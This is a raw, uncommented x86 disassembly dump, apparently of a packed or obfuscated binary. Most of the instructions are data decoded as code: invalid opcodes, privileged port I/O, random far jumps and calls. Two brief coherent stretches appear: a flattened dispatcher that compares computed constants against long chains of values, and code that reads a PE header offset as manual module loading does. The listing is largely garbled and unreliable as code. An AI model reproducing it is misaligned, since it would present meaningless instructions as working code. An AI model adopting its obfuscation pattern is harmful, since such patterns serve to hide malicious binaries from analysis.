add dword [0xd62ac641], ebx
sbb al, 0xd4
push ss
in eax, dx
pop edx
fistp word [ebx]
push esp
inc edi
and edi, dword [edx + eax*2 - 0x336f3b5c]
std
pushal
mov edi, 0x492e9983
push ds
dec eax
movsb byte es:[edi], byte [esi]
invalid
loope 0x6e1b2dfc
movsb byte es:[edi], byte [esi]
push ss
insd dword es:[edi], dx
push es
push eax
adc dword [ebx - 0x11], eax
jp 0x6e1b2d99
mov eax, 0x7bf499f9
sub ecx, dword [ecx]
xor dword [edx + ebp + 0x7b84c3bd], eax
adc dword ds:[ecx + 0x47], ebx
insb byte es:[edi], dx
cmp al, 0xad
das
rcr byte [ecx + 0x151c83ed], cl
stc
cdq
hlt
jp 0x6e1b2de0
clc
and byte [ebp - 0x34381490], ch
adc ecx, edx
scasb al, byte es:[edi]
invalid
adc cl, byte [esi + ebp*8 - 0x10]
cmpsd dword [esi], dword es:[edi]
test dword [edx], edx
test eax, 0x97937a4f
xor edi, dword [eax + 0x145aa762]
sub eax, 0xa685e47a
dec ebx
sbb byte [eax + 0x2ef1e9cc], dl
add byte [eax], al
sar dword [esi + 9], 0xc6
mov bl, 0xe2
xchg ecx, eax
lds esi, [edi - 0x66]
push 0x4c
inc esi
loop 0x6e1b4461
invalid
enter 0xfffffffffffffc10, 0xfffffffffffffff6
xchg byte [edx + 0x76d455a5], cl
push ebx
push ebx
fidivr word [edi + 0x4e]
in eax, 0x56
xchg ebx, eax
or al, 0xa0
sar dword [ebx + 1], cl
cmpsb byte [esi], byte es:[edi]
mov eax, dword [0xa70a8306]
movsb byte es:[edi], byte [esi]
les edx, [ecx - 0x64e78002]
pop esp
call 0xc28da0ec
jb 0x6e1b44eb
std
mov bl, 0x4f
inc edx
pushfd
jbe 0x6e1b44cd
add byte [esi + ecx], 0x2d
out 0x37, al
scasd eax, dword es:[edi]
jge 0x6e1b4495
mov dl, 0x3a
sbb ecx, ebp
jl 0x6e1b4481
rep stosd dword es:[edi], eax
adc dl, byte [edx + 0x32]
aaa
popal
jp 0x6e1b443e
mov ch, 0xc
sal byte [ecx + eax*2 + 0x4a], 1
pop ds
out dx, al
mov esi, 0xb6218b60
xor al, al
cmp dword [edx], esi
and dh, byte [esi + 0x5a]
stc
or edi, ecx
jbe 0x6e1b44d4
js 0x6e1b449e
invalid
push ecx
add eax, 0x95789212
xchg esp, eax
lea edi, [ecx]
cld
and eax, 0xd32111d1
dec eax
mov dh, 0x87
in al, 0xbf
imul esp, dword [esi + 0x1da9bebb], 0xcecad398
cdq
add eax, dword [edi + 0x7416a879]
test eax, 0x6973ea31
in eax, dx
mov dh, 8
push ebp
and bl, bh
and byte [eax + 0x4a], ch
mov ebp, 0xef35076
call 0xb37dd2c9
xchg edx, eax
mov esp, 0x4c58b9a6
jg 0x6e1b4579
mov esi, 0xd3981da9
retf 0x99ce
mov ebp, 0x8613122d
insb byte es:[edi], dx
mov byte [0xf69f816], al
inc ebx
stosd dword es:[edi], eax
sahf
jne 0x6e1b44bc
int3
or eax, 0x1648f64d
salc
jns 0x6e1b45f1
jmp 0x6e1b45dd
push ecx
enter 0xffffffffffffe8dc, 0x5d
sbb eax, 0xededa6b4
salc
xchg edx, eax
ret
add byte [esi - 0x52], bl
movsd dword es:[edi], dword [esi]
sbb byte [ecx - 0x6fd23cea], cl
int3
mov al, byte [0x53f0ebc4]
into
sub dl, cl
fcmove st(0), st(2)
mov eax, 0x79dd943c
retf
test eax, 0xe9538af6
pop esi
mov ecx, dword [ebp + 0x250ca566]
jb 0x6e1b5bcc
mov dword [ebp - 0x4aa45be4], eax
imul ebx, dword [ebx - 0x41], 0x5b9c6d2
lcall 0xe33d, 0x73116b79
push 0x65f2b3b7
jno 0x6e1b5b43
add esp, dword [edi + 0x358038cc]
cmc
mov ch, 0xd
dec edi
aaa
jo 0x6e1b5bd8
inc ebx
mov esp, 0x25353e8b
cmp bl, byte [esi + 0x7e]
iretd
or dl, bl
mov byte [0x79e9cc90], al
pop ss
add byte [eax], al
jb 0x6e1b5b64
in eax, dx
jle 0x6e1b5c29
cwde
adc dl, ch
xor al, 0xdb
out dx, eax
sar byte [edx - 0x54df6bc0], 1
xlatb
and eax, 0xf98072d0
xor esp, dword [eax*8 + 0x713ceadb]
mov byte gs:[0x2c5d4a3d], al
push cs
aas
sti
not dword [esi - 0x31]
mov eax, 0x7426bdd8
idiv byte [ebx - 0x78c79fe1]
adc dword [esi - 0x76509e4e], 0xae4641b5
mov al, byte [0xc1fe6038]
invalid
lodsb al, byte [esi]
jbe 0x6e1b5c83
sub eax, 0xbaae8b63
inc edx
pop ecx
cmpsb byte [esi], byte es:[edi]
mov ecx, 0xe86b399d
xor bh, byte [ebx + 0x74]
mov al, byte [0x86523bbc]
mov ch, 0xd4
mov ebx, 0x7b785d7e
call 0xe8fd76f
mov esp, 0xb586523b
aam 0xbb
jle 0x6e1b5ca3
js 0x6e1b5cc3
adc al, 0x4f
fdiv qword [ebp + ebx + 0x3c]
mov byte [esi - 0x75], bl
sbb byte [edi + 0x59], dh
push es
add eax, 0xac00fa10
mov ebx, 0x8d902520
sub dword [esi], esp
xchg esp, eax
inc ebp
int1
pushal
jbe 0x6e1b5c90
je 0x6e1b5c38
cmp al, 0x87
add byte [di - 0x1e63], 0xed
mov ecx, 0xd34bca7d
inc ebx
mov eax, 0xc48347ec
dec ebx
xor al, 0x26
ja 0x6e1b5cc3
dec ebx
inc ebx
test al, 0x54
mov gs, word [ebx + 0x6b]
sub bl, bh
test byte [edx + 0x6fceafc2], cl
into
outsd dx, dword [esi]
stosd dword es:[edi], eax
dec ebp
adc bh, cl
lodsb al, byte [esi]
mov esi, 0xa9f76c96
ret
nop
int3
test al, 0xa9
stc
test eax, 0x7047f119
pop eax
mov esp, ecx
pop ecx
retf 0xec47
nop
jmp 0x6e1b734f
nop
mov eax, dword [0x6e93d034]
mov dword [0x6e93d02c], eax
mov dword [ebp - 0x48], 0x37591
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x50], 0x43f9f
mov dword [ebp - 0x4c], 0
mov eax, dword [ebp - 0x44]
imul eax, dword [ebp - 0x50]
mov edx, eax
mov eax, dword [ebp - 0x4c]
imul eax, dword [ebp - 0x48]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x48]
mul dword [ebp - 0x50]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x58]
xor eax, 0xb258b40f
mov edx, dword [ebp - 0x54]
xor edx, 0xe
or eax, edx
je 0x6e1c7775
mov edx, 0xb258b40f
mov eax, 0xe
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x6e1c7778
mov eax, dword [ebp - 0x58]
xor eax, 0xddfe0
or eax, dword [ebp - 0x54]
je 0x6e1c1998
mov edx, 0xddfe0
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x6e1c7778
mov eax, dword [ebp - 0x58]
xor eax, 0xdb675
or eax, dword [ebp - 0x54]
je 0x6e1bd330
mov edx, 0xdb675
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x6e1c7778
mov eax, dword [ebp - 0x58]
xor eax, 0xb2179
or eax, dword [ebp - 0x54]
je 0x6e1c4888
mov edx, 0xb2179
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x6e1c7778
mov eax, dword [ebp - 0x58]
xor eax, 0xb0f5f
or eax, dword [ebp - 0x54]
je 0x6e1b7550
mov edx, 0xb0f5f
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x6e1c7778
mov eax, dword [ebp - 0x58]
xor eax, 0xaaea0
or eax, dword [ebp - 0x54]
je 0x6e1c6000
mov edx, 0xaaea0
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x6e1c7778
mov eax, dword [ebp - 0x58]
xor eax, 0xa9642
or eax, dword [ebp - 0x54]
je 0x6e1c3110
mov edx, 0xa9642
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x6e1c7778
mov eax, dword [ebp - 0x58]
xor eax, 0x94f9d
or eax, dword [ebp - 0x54]
je 0x6e1bbbb8
mov edx, 0x94f9d
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x6e1c7778
mov eax, dword [ebp - 0x58]
xor eax, 0x7f4b2
or eax, dword [ebp - 0x54]
je 0x6e1beaa8
mov edx, 0x7f4b2
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x6e1c7778
mov eax, dword [ebp - 0x58]
xor eax, 0x7a9e3
or eax, dword [ebp - 0x54]
je 0x6e1ba440
mov edx, 0x7a9e3
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x6e1c7778
mov eax, dword [ebp - 0x58]
xor eax, 0x210ad
or eax, dword [ebp - 0x54]
je 0x6e1b8cc8
mov eax, dword [ebp - 0x58]
xor eax, 0x40e62
or eax, dword [ebp - 0x54]
je 0x6e1c0220
jmp 0x6e1c7778
xor al, ch
les esp, [edx]
aaa
rcl dl, 1
imul eax
mov al, byte [0x68759dc0]
pushal
xchg ecx, eax
inc esi
mov ebx, 0x2ecedfbb
push ebx
push 0x2d3ab27c
mov edi, 0x785e65ea
inc edx
or al, 0x5a
mov ch, 0x57
adc al, 0xe1
sbb dword [eax], 0xffffffa9
xchg edi, eax
push eax
into
stc
aaa
sub al, 0xdc
add al, byte [esi + 0x2ede7a2f]
std
jp 0x6e1b75f4
dec edi
test al, 9
test eax, 0x7cbb3bce
leave
salc
in al, 0x8c
cmpsb byte [esi], byte es:[edi]
cmp dword [ebx], 0x12
xor dl, byte [edi + 0x9278827]
fldenv [edx - 0x5e26d735]
pop edi
je 0x6e1b7618
lcall 0x68a6, 0xa2dbf804
push ecx
adc esi, dword [edi]
inc ebp
mul dword [edx + 0x23365d9b]
fisttp dword [ebx + 0x34c74904]
dec esi
shr byte [eax], cl
mov ebp, 0xf163d7f7
int1
add esi, dword [edi - 0x63]
push edx
sbb ch, byte [ebx]
jns 0x6e1b75c9
fnstsw word [edi - 0x5f]
je 0x6e1b7588
push ss
dec esp
invalid
cmp bl, al
fdivr dword [edx + edx*8 - 0x1d]
imul eax, dword [esi - 0x1eeb293a], 2
lds ecx, [esi - 0x7f119935]
outsd dx, dword [esi]
dec ebp
outsd dx, dword [esi]
and al, 0x6a
or eax, 0xb72e6d2a
pop esi
popfd
push eax
mov byte [0x7c4730e5], al
pushfd
jl 0x6e1b767f
pushfd
ljmp 0x1ee3:0xa9cc90ac
lds edx, [ecx + 0x63ea4935]
mov ebx, 0x89ca6bf0
salc
push ebx
invalid
loope 0x6e1b8c2a
xchg edi, eax
pop edi
int3
mov ebx, 0x55027f76
outsb dx, byte [esi]
jo 0x6e1b8c94
movsb byte es:[edi], byte [esi]
lcall 0xd119, 0x3c1a741a
loopne 0x6e1b8c82
xor cl, byte [0x45a85766]
imul esi, eax, 0xffffffa0
into
cld
mov eax, 0xbb478928
add cl, byte [ecx + 6]
iretd
test eax, 0xba4c074a
or al, 0x3e
clc
pop edi
lahf
mov byte [0x277ddb87], al
cmp dword [ebx + 0x412e23ed], ecx
inc ecx
cmp byte [ebx - 0x25], cl
mov dword [0x9e962bfc], eax
sti
aaa
add byte [ecx], al
ja 0x6e1b8c27
jg 0x6e1b8c45
cmc
push 0xf92ef026
add dword [eax], esi
jg 0x6e1b8cae
popal
imul esi, dword [ebx - 0x6e], 0x10
popal
dec edi
stc
push ebp
xchg esp, eax
cmp eax, dword [eax]
push esp
loopne 0x6e1b8c6d
and al, 0xb6
or dword [esi + 0x29], edi
jle 0x6e1b8cae
invalid
jge 0x6e1b8caa
fimul dword [0xe2e97783]
or al, 0xa3
fst qword [eax + 0x64]
xor eax, 0x6fe74317
scasd eax, dword es:[edi]
invalid
xchg ebp, eax
aaa
aam 0x18
xchg byte [edi - 0x80], bh
fdiv qword [ecx + 0x31c488a1]
sub edi, dword [edx]
cmpsb byte [esi], byte es:[edi]
outsb dx, byte [esi]
cmc
retf 0xc61d
imul edx, dword [ecx], 7
aaa
hlt
cmp eax, 0xc8872480
push ecx
jns 0x6e1bbb40
aad 0xc4
std
or bh, byte [esi + 0x54]
adc byte [ebp - 3], ah
test al, 0xbe
sal byte [0xda8dfef2], 0x16
cli
push esi
cld
invalid
into
in eax, 0x4d
iretd
pop ss
mov dl, 0x8f
dec edi
xchg edi, eax
aad 0
pushal
push cs
mov ecx, eax
and dword [eax], esp
fild dword [ecx]
ja 0x6e1bd2d4
mov edi, dword [eax + ecx*2 - 0x414f1791]
inc ecx
adc eax, 0xc90ba58d
les eax, [esi]
inc eax
mov edx, 0x2ec70b53
sub esi, dword [ebp + 0x47387f19]
outsb dx, byte [esi]
and dword [ebx], edi
add edx, ebp
pop edx
push edi
xchg byte [edx], bl
mov ah, 0xe9
xlatb
sbb ebx, esp
jmp 0xefcc7a74
jne 0x6e1beaab
sub byte [esi - 2], ch
xchg esp, eax
inc edx
push edx
or esp, eax
push 0xa2adde26
fldcw word [ebx + 0x2b]
push ds
pop es
cmpsb byte [esi], byte es:[edi]
adc bl, byte [ebp + 4]
sub ch, ch
popal
invalid
outsb dx, byte [esi]
invalid
adc dh, byte [ecx + ebx*8 - 0x50]
cmp edi, eax
adc eax, dword [ecx]
fisub dword [eax - 0x638efd3f]
mov dh, 0x93
adc eax, dword [eax + 0x4f]
out dx, al
push ecx
push ss
clc
sbb edi, dword [ebx - 0x3b]
je 0x6e1c0212
xchg dword [ecx - 0x3b87b342], edi
out dx, al
adc ch, bh
aas
ficom word [ecx + 0x7193e5c]
add dh, dh
int3
push ebx
push ecx
leave
adc ebx, dword [ebx - 0x336f7e97]
jmp 0x6e1c7779
mov ecx, 0x50228acc
jns 0x6e1c0258
add esp, esi
scasb al, byte es:[edi]
fcomp qword es:[ecx + ecx*8 - 0x2c29ce2f]
inc ebx
invalid
js 0x6e1c01dc
std
invalid
ficomp word [eax + 0x340c1385]
adc al, al
nop
int3
jns 0x6e1c1989
pop ds
clc
popal
sbb byte [eax - 0x5f], bh
int3
mov ebx, 0x3dc3008d
xor al, 0xb8
sbb byte [edx + ebp*8 + 0x793d8c1d], bl
scasb al, byte es:[edi]
inc ebx
or dword [edi + 0xd95cd64], 0x99b0e0ce
xchg ebp, eax
or eax, 0x99b0e0ce
insb byte es:[edi], dx
test byte [ebx - 4], 0x42
cmpsd dword [esi], dword es:[edi]
and ah, byte [ecx]
lds ebx, [ecx + 0x10]
mov byte [0x8f146c93], al
sub byte [edi - 0x15fab485], bh
mov dword [0xc0149667], eax
and dword [esi], eax
jl 0x6e1c3187
jb 0x6e1c31ca
jno 0x6e1c3181
lcall 0x4f32, 0xac03cbe1
mov eax, dword [0xcdf89212]
cmp eax, 0x6b6e294f
clc
int 0x3d
dec edi
sub dword [esi + 0x6b], ebp
xchg byte [edx + 0x63], ah
dec ecx
test eax, 0xa5a1ff2
ljmp 0x1a
push cs
jg 0x6e1c3124
pop ebp
and al, 0xc0
loope 0x6e1c31d7
push edi
fimul word [edx]
in al, dx
jne 0x6e1c3205
nop
xor al, dh
xchg byte [ebx + ebp - 0x6d], ch
ja 0x6e1c3157
jnp 0x6e1c31e8
into
mov dl, 0x7d
test al, 0x77
and ebx, esi
pushal
fistp qword [ebp + 0x3b]
push edi
fbld tbyte [edi - 0x43bafe47]
or dword [ecx - 0x15], edi
out 0xc4, eax
xchg ebx, eax
cmpsb byte ds:[esi], byte es:[edi]
mov al, byte [0xda2b2620]
sbb byte [eax - 0x526675b6], ch
mov dword [0xbf6ed6dd], eax
push cs
jge 0x6e1c3189
test dword [esi], esi
mov ebp, 0x8d8fca92
fisttp word [ebx - 0x4e2dd5d5]
pop edi
insb byte es:[edi], dx
mov bh, 0xa1
dec eax
test byte cs:[eax + edx*4], dl
int3
pushfd
pop esi
xor esi, dword [esi + 0x77]
mov eax, dword [esi - 0x2b]
cmp al, 0x20
and ch, ah
cmpsb byte [esi], byte es:[edi]
mov edx, 0xe9c1e259
inc esp
jbe 0x6e1c3180
mov byte [0xac3af27d], al
call 0x8cab0aed
ror dword [ebp + 4], 0x9b
fmul dword [esi + 0x44dc11e]
wait
xchg edi, eax
sbb al, byte [ebx + 0x39b0bdfc]
mov al, 0xa9
out 0xf7, eax
push esi
retf 0x41c9
mov al, byte [ebx + esi*4 + 0x1a610b86]
salc
push eax
dec esi
clc
add dword [ebx], edx
jle 0x6e1c48a6
xor eax, 0x9d1975bc
loop 0x6e1c48df
fistp dword [ebp + esi*2 - 0x26]
sbb dword [eax], ecx
push esi
wait
sbb edi, dword [edi]
xchg edx, eax
jmp 0x6e1c48e8
inc ebx
jge 0x6e1c484d
fisubr word [esi - 0x26]
and byte [ecx - 0x4d6f22b0], 0x8d
aaa
int 0x6f
inc edx
pop ss
add eax, ecx
xor dword [eax + 0x4254e48c], ebx
cmp esi, edx
invalid
cli
mov al, 0xd6
push 0xffffffffffffffda
out dx, eax
dec esi
out 0xce, eax
cmp dword [edi], ebx
in al, 0x37
nop
jmp 0x415ef855
popal
push ss
jp 0x6e1c4950
das
xchg edx, eax
mov bh, byte [ecx]
scasb al, byte es:[edi]
invalid
and dl, byte [ebx]
int 0x5b
xchg esp, eax
mov ch, 8
dec ecx
xchg edx, eax
adc ch, byte [ebx + 0x591db67b]
mov ebx, 0xeee944ba
jecxz 0x6e1c4913
test ebp, ebp
adc byte [eax], bl
insd dword es:[edi], dx
pop ss
in eax, 0x63
sbb al, 0xe8
pushal
fcmovnbe st(0), st(5)
pushal
invalid
into
sub eax, 0xf8a3fc81
jecxz 0x6e1c48d9
bound esp, qword [ecx]
sbb ebx, dword [ecx + edx*8 - 0x2ad5cb21]
mov dl, byte [edx - 0x22ceb37]
mov esi, 0xcb258a5a
pop esi
or al, 0x48
into
lea edi, [ebp + 0x10]
dec edx
dec eax
xor eax, 0xfd0e13cf
nop
jge 0x6e1c49ba
cld
add ebp, dword [edi + 0x6fb872cd]
cmpsb byte [esi], byte es:[edi]
and eax, 0x52b4fc50
loope 0x6e1c495f
push cs
cmpsd dword [esi], dword es:[edi]
inc ebp
add dword [ebx], eax
nop
int3
fstp xword [ecx + 0x46551518]
push esi
in eax, 0x94
nop
mov word [esi - 0x47], cs
test byte [esi], ah
mov dh, 0x1c
invalid
sbb byte [eax - 0x12], 0
sar esi, cl
xor edi, esp
int3
aad 0x8e
xor cl, dh
sbb eax, 0xe11a377a
xchg dword [edi - 0x5f], esp
sub al, 0xfd
fst qword [edi]
xor ebp, dword [ebp + ebx*8 - 0x3cde8986]
xor ch, byte [eax - 0x369067a0]
dec esi
cmp ebp, dword [edx - 0x61d1cc1]
push ds
je 0x6e1c603d
inc esi
invalid
sar dword [esp - 0x2c4965d6], 0x51
aas
aas
mov eax, 0x4816992d
push esp
push esp
sysret
nop
jmp 0x6e1c7779
nop
mov eax, dword [ebp - 0x24]
mov edx, dword [eax + 0x3c]
mov eax, dword [ebp - 0x24]
add eax, edx
mov dword [0x6e93d028], eax
mov dword [ebp - 0x60], 0x1e65
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x68], 0x7148f
mov dword [ebp - 0x64], 0
mov eax, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
sub eax, dword [ebp - 0x60]
sbb edx, dword [ebp - 0x5c]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
mov eax, dword [ebp - 0x70]
xor eax, 0xf1eb7
or eax, dword [ebp - 0x6c]
je 0x6e1d94fa
mov edx, 0xf1eb7
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e1eae97
mov eax, dword [ebp - 0x70]
xor eax, 0xe3925
or eax, dword [ebp - 0x6c]
je 0x6e1caa4a
mov edx, 0xe3925
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e1eae97
mov eax, dword [ebp - 0x70]
xor eax, 0xe0f77
or eax, dword [ebp - 0x6c]
je 0x6e1dac72
mov edx, 0xe0f77
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e1eae97
mov eax, dword [ebp - 0x70]
xor eax, 0xd9f7e
or eax, dword [ebp - 0x6c]
je 0x6e1dc3ea
mov edx, 0xd9f7e
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e1eae97
mov eax, dword [ebp - 0x70]
xor eax, 0xc1e9c
or eax, dword [ebp - 0x6c]
je 0x6e1e0a52
mov edx, 0xc1e9c
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e1eae97
mov eax, dword [ebp - 0x70]
xor eax, 0xbf34d
or eax, dword [ebp - 0x6c]
je 0x6e1d7d82
mov edx, 0xbf34d
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e1eae97
mov eax, dword [ebp - 0x70]
xor eax, 0xbee70
or eax, dword [ebp - 0x6c]
je 0x6e1cc1c2
mov edx, 0xbee70
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e1eae97
mov eax, dword [ebp - 0x70]
xor eax, 0xbd184
or eax, dword [ebp - 0x6c]
je 0x6e1d660a
mov edx, 0xbd184
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e1eae97
mov eax, dword [ebp - 0x70]
xor eax, 0xbc69a
or eax, dword [ebp - 0x6c]
je 0x6e1ddb62
mov edx, 0xbc69a
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e1eae97
mov eax, dword [ebp - 0x70]
xor eax, 0xba7b0
or eax, dword [ebp - 0x6c]
je 0x6e1d082a
mov edx, 0xba7b0
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e1eae97
mov eax, dword [ebp - 0x70]
xor eax, 0xaed75
or eax, dword [ebp - 0x6c]
je 0x6e1cf0b2
mov edx, 0xaed75
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e1eae97
mov eax, dword [ebp - 0x70]
xor eax, 0xa1b4a
or eax, dword [ebp - 0x6c]
je 0x6e1cd93a
mov edx, 0xa1b4a
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e1eae97
mov eax, dword [ebp - 0x70]
xor eax, 0x9c931
or eax, dword [ebp - 0x6c]
je 0x6e1e7faa
mov edx, 0x9c931
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e1eae97
mov eax, dword [ebp - 0x70]
xor eax, 0x84657
or eax, dword [ebp - 0x6c]
je 0x6e1d1fa2
mov edx, 0x84657
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e1eae97
mov eax, dword [ebp - 0x70]
xor eax, 0x72572
or eax, dword [ebp - 0x6c]
je 0x6e1e21ca
mov edx, 0x72572
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e1eae97
mov eax, dword [ebp - 0x70]
xor eax, 0x71a84
or eax, dword [ebp - 0x6c]
je 0x6e1df2da
mov edx, 0x71a84
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e1eae97
mov eax, dword [ebp - 0x70]
xor eax, 0x6f62a
or eax, dword [ebp - 0x6c]
je 0x6e1eae9a
mov edx, 0x6f62a
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e1eae97
mov eax, dword [ebp - 0x70]
xor eax, 0x5ffa5
or eax, dword [ebp - 0x6c]
je 0x6e1e6832
mov edx, 0x5ffa5
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e1eae97
mov eax, dword [ebp - 0x70]
xor eax, 0x58a7b
or eax, dword [ebp - 0x6c]
je 0x6e1e9722
mov edx, 0x58a7b
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e1eae97
mov eax, dword [ebp - 0x70]
xor eax, 0x4d292
or eax, dword [ebp - 0x6c]
je 0x6e1c92d2
mov edx, 0x4d292
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e1eae97
mov eax, dword [ebp - 0x70]
xor eax, 0x431bd
or eax, dword [ebp - 0x6c]
je 0x6e1e3942
mov edx, 0x431bd
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e1eae97
mov eax, dword [ebp - 0x70]
xor eax, 0x38995
or eax, dword [ebp - 0x6c]
je 0x6e1e50ba
mov edx, 0x38995
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e1eae97
mov eax, dword [ebp - 0x70]
xor eax, 0x323a8
or eax, dword [ebp - 0x6c]
je 0x6e1d371a
mov edx, 0x323a8
mov eax, 0
cmp edx, dword [ebp - 0x70]
add byte [ebx], bh
push ebp
nop
sbb eax, dword [ebp - 0x6c]
jl 0x6e1eae97
mov eax, dword [ebp - 0x70]
xor eax, 0x1fc58
or eax, dword [ebp - 0x6c]
je 0x6e1d4e92
mov eax, dword [ebp - 0x70]
xor eax, 0x259a0
or eax, dword [ebp - 0x6c]
jne 0x6e1eae97
inc esp
sbb al, 0xf3
sbb eax, 0xed4871f8
fsubr dword [edi + 0x2c]
scasb al, byte es:[edi]
das
dec ebp
mov cl, 0x34
mov dl, byte [esi - 0x6a]
jle 0x6e1c7b40
cmp esi, dword [edx + ecx*8 + 0x1e]
cmp dl, byte [ebx + 0x754e63e0]
sub dh, byte [ebp + edi*2 + 0x7e]
push ds
dec ecx
xchg ecx, eax
push 0xfa1ec30e
mov ah, 0x91
cmpsd dword [esi], dword es:[edi]
sahf
cmp byte [edi], bh
call 0x9c8fc51a
sar byte [edx + 0x5661da6a], cl
cli
jp 0x6e1c7b83
push cs
ret
out 4, eax
mov bl, 0x72
mov bl, 0x68
ja 0x6e1c7bf2
stosd dword es:[edi], eax
mov byte [0x77552f1a], al
xor dword [ebp + 0xb], 0x87441614
sub ah, 0xbe
jl 0x6e1c7ba6
das
push ebp
ja 0x6e1c7b2b
jne 0x6e1c7bb7
adc al, 0x16
inc esp
xchg dword [edx - 0xe834114], eax
invalid
hlt
push ebx
or eax, edx
imul edi, dword [eax - 0x7e4d9275], 0x352d6e8
mov esp, 0xe85a1750
xor esi, dword [edx]
lahf
sub ah, cl
cmp dword [ecx], esp
add al, 0x21
bnd jbe 0x6e1c7c16
inc edx
cmpsb byte [esi], byte es:[edi]
adc al, 0x8c
test eax, edi
push es
push 0xffffffffffffff82
sub ebp, 0xf485da29
imul eax, dword [ebx + 0x5b14ce7b], 0xdd6df9e0
mov cs, word [edi]
invalid
cmp dword [ebx - 0x32], 0x14
pop ebx
jnp 0x6e1c7bc2
adc al, 0x5b
loopne 0x6e1c7bf1
insd dword es:[edi], dx
fisttp qword [esi + 0x29b80f0f]
jge 0x6e1c7c3a
mov al, 0xf8
out dx, al
dec ecx
stosd dword es:[edi], eax
inc ah
movsd dword es:[edi], dword [esi]
repz ret
inc ebp
add byte [ebx - 0x6c58f76c], bh
adc esi, dword [edx]
push 0xffffffffffffff9a
shl dword [ecx], cl
adc ch, byte [0xcc90be10]
sbb cl, byte [edx + 0x7755f5f5]
mov dl, 0xdb
push cs
imul edi, dword [esp + esi*4 + 0x707ae19d], 0x19d54db2
dec ebp
aad 0x19
mov al, byte [0x23965171]
inc esi
inc ecx
push esp
in al, 0xd
sbb esi, dword [ebp - 0x668c2f75]
mov ecx, 0x139ef14a
jmp 0x6e1c7cb9
pop ebx
movsb byte es:[edi], byte [esi]
jne 0x6e1c7d25
ffree st(1)
adc byte [ebx - 8], 0xd
arpl word [ebp + 0x44], cx
and eax, 0xd593934e
invalid
xchg ebp, eax
fstpnce st(6), st(0)
aas
push edi
jmp 0x7e8589a9
sub esp, dword [edx - 0x32b79ad2]
push ebx
or byte [ebx - 0x664c2666], ch
xor edx, dword [ecx + edx*2 + 0x32f840b3]
invalid
pop ds
sub dword [0xca8deb3d], ecx
lodsd eax, dword [esi]
jo 0x6e1caa54
movsd dword es:[edi], dword [esi]
aad 0x27
mov ecx, 0x58d0bd98
or byte [ebx], ah
xchg ebx, eax
aas
xchg bl, ah
inc edi
pop ecx
nop
pop ebp
dec ecx
sub dword [edx - 0x455641f9], 0x11
and bl, byte [eax + 0x7cb74eba]
invalid
movsb byte es:[edi], byte [esi]
mov bh, 0xb3
test eax, 0x9f4cf403
xchg ebx, eax
popal
inc ecx
pop ss
std
fsubr st(6), st(0)
mov ebp, ebp
iretd
push edi
loope 0x6e1cc1a0
mov edi, 0x6edb428a
sbb cl, byte [ecx]
xchg ecx, eax
jecxz 0x6e1cc1f5
fsubrp st(2)
clc
leave
invalid
sub ebx, dword [edi - 0x41]
inc ebx
dec eax
aaa
inc esi
and eax, edi
cmc
xchg esi, eax
int3
xbegin 0xa2b3dbff
outsd dx, dword [esi]
